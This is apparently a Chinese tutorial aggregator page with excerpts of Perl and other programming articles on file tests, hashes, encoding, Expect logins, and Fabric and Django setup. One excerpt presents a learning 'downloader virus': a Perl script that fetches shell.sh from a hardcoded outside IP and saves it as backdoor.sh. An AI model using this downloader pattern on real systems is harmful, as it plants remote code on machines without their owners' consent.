PERL - 技术教程文章
perl学习笔记——文件测试【代码】【图】
文件测试主要用于查看如文件是否存在、文件大小、文件更新时间等信息。文件测试操作符-e 测试文件是否存在；die "Oops!A file called ‘$filename‘ already exists.\n" if -e $filename;-M 测试文件是否保持持续的更新，比如测试某个程序的日志文件是否保持每一周或两周更新。此处测试的是文件句柄。warn "Config file is looking pretty old!\n" if -M CONFIG>28;-s 测试文件的大小，以字节计算文件大小。 例子：下面测试的是文...
perl进行z检验【代码】
use Statistics::Zed; my$zed = Statistics::Zed->new(); my$p_value = $zed->p_value(tails => 1, observed => 30, expected => 0, variance => 100); my$z_score = $zed->p2z(value => $p_value, tails => 1); print"$p_value\t$z_score\n";其中variance指方差，tails=>1表明单尾检验原文：http://www.cnblogs.com/yumtaoist/p/4519255.html
用Perl做个简单”下载者病毒”【代码】【图】
一直学的perl, 有时perl不理解时就用python写一下，这样或许perl就理解了 这里参照python写法，做了个perl的版本，当然，是为了学习用，这个下载者病毒有点简单过头了 backdoor.sh后门程序代码如下: backdoor.sh1 #!/bin/sh2echo‘Hello, Python‘下面为perl的shell.pl代码: shell.pl1#!/usr/bin/perl2use LWP::Simple; 34my$backdoor_content = get(‘http://45.63.49.167:8080/shell.sh‘); 5open BACKDOOR, ">", ‘backdoor.sh‘...
perl对大量大文件进行读写【代码】【图】
在对大量文件进行读写时，最好将文件存为gz文件，可以节约读写硬盘的时间，硬盘也不会那么卡。在写gz文件时，最好使用PerlIO::gzip模块。这个模块不用调用gzip命令，减少了程序占用的线程数量，可以有效的降低load。下面是一个例子。#! /usr/bin/env perluse strict; use warnings; use List::Util; use FileHandle; use PerlIO::gzip;my%fh;my@a=(1..100); for(my$i=1;$i<=100;$i++){open$fh{$i}, ">:gzip", "x.$i.gz";#open ($fh...
Perl入门（一）Perl的基本类型及运算符
在学习Perl的基础之前，还是希望大家有空去看以下Perl的简介。百度百科一、Perl的基本类型Per的基本类型分为两种：数值型和字符串型。数值型可细分为整数型。如123。浮点型。如123.123、0.123456。科学计数型。如1.23E2、1.23e2。大数值类型。如1_156_123_585_123。字符串型字符串。如“123456”，‘123’，qq(this is a string too!)二、用变量存储基本类型值Perl定义变量很简单。格式为：$变量名 （PS：Perl的程序员肯定是想钱想...
ubuntu16.04下Hyperledger之搭建Fabric环境简单操作(五步启动e2e_cli)
如果你已经安装好go等工具、git及checkout相关代及下载相关镜像，您只需下面5步就能up e2e_cli~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 release~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 examples/e2e_cli~/go/src/github.com/hyperledger/fabric$ sudo chmod 777 examples/e2e_cli/docker-compose-e2e.yaml~/go/src/github.com/hyperledger/fabric$ sudo chmod -R 777 examples/e2e_cli/channel-a...
Perl【代码】
my $line; my $content; open (FN,“D:\PerlDemo\parse.xml”) or die “not found $!“;while($line= ){ next if $. < 5; last if $. >10; $content.=$line;}close(FN);print “$content \n”;my $K= ; my @R =qw (A B C D); my @m =qw (a b c d); my @r =qw (h k ); my @j=(@R , @m , @r);for(@j){print $_ ."\t";}while(my($key,$value) = each @R){print "key= $key value =$value \n";}foreach $index(0 .. $#R){print "inde...
log4j:WARN Please initialize the log4j system properly解决办法【代码】
log4j:WARN No appenders could be found for logger(org.springframework.context.support.ClassPathXmlApplicationContext).log4j:WARN Please initialize the log4j system properly.Spring 使用了LOG4J 这个开源框架来输出信息，要解决这个问题非常简单，建立LOG4J 的配置文件即可。在src 目录下创建配置文件，选择菜单File > New > File，文件名输入log4j.properties，文件内容如下所示：log4j.rootLogger=WARN, stdout log4j...
生物信息 perl 脚本实战【代码】
索引1.统计fasta、fa和fastq文件的长度，统计fastq的reads个数，单个reads长度，reads总长度；统计fasta文件中contig的个数，列出名称，单条的长度，以及总长度。 1.统计fasta、fa和fastq文件的长度，统计fastq的reads个数，单个reads长度，reads总长度（主要是统计总长度，其他在Linux下很简单就实现了）；统计fasta文件中contig的个数，列出名称，单条的长度，以及总长度。思路整理：这是个典型的逐行读文件，取字段，计...
Perl 哈希Hash用法之入门教程
一、什么是Perl Hash哈希是一种数据结构，和数组类似，可以将值存放到其中，或者从中取回值。但是，和数组不同的是，其索引不是数字，而是名字。也就是说，索引(这里，我们将它叫key)不是数字而是任意的唯一的字符串。key可以是任意的字符串，你可以使用任何的字符串作为key，但它们是唯一的。另一种思考hash 的方法是，把它看作一堆数据(a barrel of data)，每一个数据都有一个相应的标签。可以通过标签访问此标签对应的元素。但其...
perl的INC设置分析
1）默认的INC如下：复制代码 代码如下: @INC: C:/Perl/site/lib C:/Perl/lib2）设置环境变量PERL5LIB来增加到INC，例如： set perl5lib=c:\perllibs 在设置perl5lib后如下，复制代码 代码如下:%ENV: PERL5LIB="c:\perllibs" @INC: c:\perllibs C:/Perl/site/lib C:/Perl/lib3）在perl程序中修改INC， 例如：复制代码 代码如下:#!/usr/bin/perl -wpush(@INC,"/home/test");#或者#!/usr/bin/perl -wBEGIN{push(@I...
perl学习之：编译、执行与内存关系（转）
1、所谓在编译期间分配空间指的是静态分配空间（相对于用new动态申请空间），如全局变量或静态变量（包括一些复杂类型的常量），它们所需要的空间大小可以明确计算出来，并且不会再改变，因此它们可以直接存放在可执行文件的特定的节里（而且包含初始化的值），程序运行时也是直接将这个节加载到特定的段中，不必在程序运行期间用额外的代码来产生这些变量。其实在运行期间再看“变量”这个概念就不再具备编译期间那么多的属性了（...
linux 部署超级账本Hyperledger Fabric环境【代码】
Golang 安装配置golang下载地址: https://studygolang.com/dlmkdir ~/download cd ~/download wget https://studygolang.com/dl/golang/go1.13.linux-amd64.tar.gz解压 sudo tar -C /usr/local -xzf go1.13.linux-amd64.tar.gz #创建go目录 mkdir $HOME/go #用vi打开~./bashrc，配置环境变量 vi ~/.bashrc # 在最下方插入 # go env export GOROOT=/usr/bin/go export GOPATH=/home/go export GOBIN=$GOROOT/bin export PATH=$GOPA...
perl 写excel，支持中文
e warnings; use DBI; use Spreadsheet::WriteExcel; use Encode; #support Chinese # connect my $dbh = DBI->connect("DBI:mysql:database=newbbk;host=127.0.0.1;port=3306", "root", "root", {'RaiseError' => 1,AutoCommit => 0}); $dbh->do('set names utf8'); $dbh->commit(); &fix_school_by_city(); $dbh->disconnect(); sub fix_school_by_city(){my $statement = "SELECT province_id, province_name from d_province;"...
A Simple Example of Dynamic Programming using perl scripts【图】
【备注】：借鉴《Introduction of Algorithm》seconde edition第十五章的内容，可以在书上找到原实例。1、概念和意义：动态规划（dynamic programming）是通过组合子问题的解而解决整个问题的。programming是指一种规划，而不是指写计算机代码。分治算法是指将问题划分为一些独立的子问题，递归地求解各子问题，然后合并子问题的解而得到原问题的解。动态规划适用于子问题不是独立的情况，也就是各子问题包括公共的子子问题。在这种...
perl更新文件
##更新文件内容 #$^I 与 print的关系 $^I=".bak"; 在为文件做bak备份后 while(<>){ . . . print; } 原本文件被改为.bak后缀 同时创建与原本文件名相同的空文件 print出的东西会被输入新的空文件内 #例如 while(1){ $^I=".bak"; print"请输入文件名\n"; $f=<STDIN>; chomp $f; push(@ARGV,$f); while(<>){ ...
perl脚本中对字符编码的支持
# 使perl程序支持utf8宽字符编码，不添加下面几行打印中文字符时将出现Wide character in print警告或错误。use utf8;binmode(STDIN, ‘:encoding(utf8)‘);binmode(STDOUT, ‘:encoding(utf8)‘);binmode(STDERR, ‘:encoding(utf8)‘);perl脚本处理中文等字符时，有时从文件读出的数据为字节码，需要进行解码才能正确显示。使用Encode模块即可处理。use Encode;# $str1为从文件或数据库等方式存储的utf8编码数据中取出的数据my $...
Perl脚本通过Expect登陆多台设备批量执行命令并Log【代码】
本例子尝试使用Perl脚本借助Expect模块实现如下目的：登陆多台设备设备登陆信息按如下格式存放于文件中。$ cat hosts.txt 192.168.30.7:node1:telnet:bee1:123456 192.168.30.66:node2:ssh:bee2:123456在每台设备上批量执行命令要执行的命令集合按如下格式存放于文件中。$ cat cmds.txt date w ifconfig more mylog.txtPerl脚本实现，使用了Expect模块借助Expect模块实现登陆，执行命令，捕获命令回显，取日志，自动回复more分页等...
djangorestframework学习1-通过HyperlinkedModelSerializer，ModelViewSet，routers编写第一个接口【代码】【图】
前提首先安装了django，安装方式：pip install django1、 djangorestftamework安装：pip install djangorestframework 2、 创建一个项目django-admin startproject djangorestdemo 3、 创建应用cd djangorestdemopython manage.py startapp rest 4、 在settings.py里配置 REST_FRAMEWORK={‘DEFAULT_PERMISSION_CLASSES‘: [‘rest_framework.permissions.DjangoModelPermissionsOrAnonReadOnly‘] } 5、在djangorestdemo/urls....
Django报错django.core.exceptions.ImproperlyConfigured: mysqlclient 1.3.13 or newer is required; you have 0.9.3.【代码】
Mac查看django的安装路径 python -c "import django; print(django.__path__)"----------------------------------------Django版本：2.2 python版本：3.7 pymysql：0.9.3创建数据库的时候报错：django.core.exceptions.ImproperlyConfigured: mysqlclient 1.3.13 or newer is required; you have 0.9.3./Library/Frameworks/Python.framework/Versions/3.7/lib/python3.7/site-packages/Django-2.2.4-py3.7.egg/django/db/bac...
Windows和Linux系统下perl连接SQL Server数据库的方法
本文将提供一些perl连接Microsoft SQL Server数据库的实例。perl脚本运行在Windows和Linux平台。Windows平台如果在Windows平台下运行perl脚本，建议使用依赖DBI的两个模块包，提供标准的数据库接口模块。DBD::ODBC DBD::ADO使用DBD::ODBC如果选用DBD::ODBC，下面的实例代码将展示如何连接到SQL Server数据库：复制代码 代码如下: use DBI; # DBD::ODBC my $dsn = ‘DBI:ODBC:Driver={SQL Server}‘; my $host = ‘10.0.0.1,...
Perl 变量
Perl中有三种内置的变量类型：Scalar（标量）Array（数组）Hash （散列）标量：$号是Perl变量指定符，指定变量类型为标量。标量代表一个单一的值，一个标量的值可以是字符串，整数或浮点数，Perl会自动转换成需要的类型。数字的格式：类型 语法 示例 整型NN89浮点型NN.NN12.34科学计数 NN.NNeNN 23....
Delphi 正则表达式之TPerlRegEx 类的属性与方法(3): Start、Stop【代码】
Delphi 正则表达式之TPerlRegEx 类的属性与方法(3): Start、Stop//设定搜索范围: Start、Stopvar reg: TPerlRegEx; begin reg := TPerlRegEx.Create(nil); reg.Subject := ‘ababab‘; reg.RegEx := ‘ab‘; reg.Replacement := ‘◆‘; reg.Start := 1; reg.Stop := 2; while reg.MatchAgain do begin reg.Replace; end; ShowMessage(reg.Subject); //返回: ◆abab reg.Subject := ‘ababab‘; reg....
perl-切割数组
#!/usr/bin/perlmy $message = ‘‘;$message = supperMonitor();@strArr=split(/\n/,$message); my $i=1;my $count=1;my $msg=‘‘;while($count<=@strArr){ $msg .= "====$strArr[$count-1]==\n"; if($i==5){ print "==$i=$msg==\n"; $msg=‘‘; $i=0; } $i++; $count++;}本文出自 “技术屌丝” 博客，谢绝转载！原文：http://yeqing.blog.51cto.com/3159086/1738647
Unity Editor not displaying Android textures properly【图】
最近入门学习shader，语法倒没什么，有一个奇怪的问题，如果把编译平台从pc转换为android模式的话，如果你的shader 带 Normal Mapping 的 话，效果和android上的真机不一样。 上图： google 了一下，找到了解决方案：http://forum.unity3d.com/threads/solved-unity-editor-not-displaying-android-textures-properly.261607/ 在pc 转 android 模式的时候 disable dx11 然后再转到 android模式下就没问题了 原文：...
[IR课程笔记]Hyperlink-Induced Topic Search(HITS)
两个假设 1. 好的hub pages: 好的对某个主题的hub pages 链接许多好的这个主题的authoritative pages. 2. 好的authoritative pages: 好的对某个主题的authoritative pages 被许多好的这个主题的hub pages链接。 注：循环定义 算法过程： 1.找出root set ：用户输入一个query，根据query中的term，在文档集中找出包含至少一个term的的文档，使他们构成root set。 2. 找出base set : 在root set的基础上，找出root set中网...
redis入门到精通系列（七）：redis高级数据类型详解（BitMaps,HyperLogLog,GEO）【图】
高级数据类型和五种基本数据类型不同，并非新的数据结构。高级数据类型往往是用来解决一些业务场景。(一)BitMaps（1.1） BitMaps概述在应用场景中，有一些数据只有两个属性，比如是否是学生，是否是党员等等，对于这些数据，最节约内存的方式就是用bit去记录，以是否是学生为例，1代表是学生，0代表不是学生。那么1000110就代表7个人中3个是学生，这就是BitMaps的存储需求。Bitmaps是一个可以对位进行操作的字符串，我们可以把Bitm...
Perl回调函数和闭包【代码】
在Perl中，子程序的引用常用来做回调函数(callback)、闭包(closure)，特别是匿名子程序。回调函数(callback)关于什么是回调函数，见一文搞懂：词法作用域、动态作用域、回调函数、闭包以File::Find模块的find函数为例，它用来搜索给定目录下的文件，然后对每个搜索到的文件执行一些操作(通过定义子程序)，这些操作对应的函数要传递给find函数，它们就是回调函数。就像unix下的find命令一样，找到文件，然后print、ls、exec CMD操作...
APP-PER-50022: Oracle Human Resources could not retrieve a value for the User Type profile option. Please ensure it is set properly for your responsibility.【图】
Symptoms-----------------------AP > Setup > OrganizationsShow Error tips: APP-PER-50022: Oracle Human Resources could not retrieve a value for the User Type profile option.Please ensure it is set properly for your responsibility. Solution-----------------------System Administrator > Profile > SystemHR:User Type HR with Payroll User原文：http://www.cnblogs.com/quanweiru/p/4623998.html
学习笔记 Perl ->符号用法的两种解释【代码】
Perl ->符号的主要用法解释Perl ->符号第一种用法，就是解引用。根据->后面跟的符号的不同，解不同类型的引用，->[]表示解数组引用，->{}表示解散列引用，->()表示解子程序引用。例子： $arr_ref=\@array;$arr_ref->[0]访问数组@array的第一个元素。 $hash_ref=\%hash;$hash_ref->{foo}访问%hash的foo分量 $sub_ref=\&test;$sub_ref->(1,2,3)使用参数列表(1,2,3)来调用&test这个子程序。Perl ->符号第二种用法，就是调用类或者对象...